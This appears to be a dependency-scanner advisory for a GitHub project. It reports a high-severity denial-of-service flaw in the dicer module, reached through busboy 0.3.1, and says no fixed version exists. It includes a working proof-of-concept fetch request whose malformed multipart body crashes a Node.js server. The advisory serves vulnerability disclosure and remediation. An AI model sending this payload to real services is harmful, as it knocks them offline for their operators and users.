Vulnerabilities

1 via 1 paths

Dependencies

7

Source

GitHub

Commit

447efe95

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Severity
  • 1
Status
  • 1
  • 0
  • 0

high severity

Denial of Service (DoS)

  • Vulnerable module: dicer
  • Introduced through: busboy@0.3.1

Detailed paths

  • Introduced through: kronos-interceptor-http-request@Kronos-Integration/kronos-interceptor-http-request#447efe9507f99f67cac2ce8dfbbd5126a2b5cfc8 busboy@0.3.1 dicer@0.3.0

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.

PoC:

    fetch('form-image', {
      method: 'POST',
      headers: {
        ['content-type']: 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro',
        ['content-length']: '145',
        host: '127.0.0.1:8000',
        connection: 'keep-alive',
      },
      body: '------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDzBsDiro--'
    });

Remediation

There is no fixed version for dicer.

References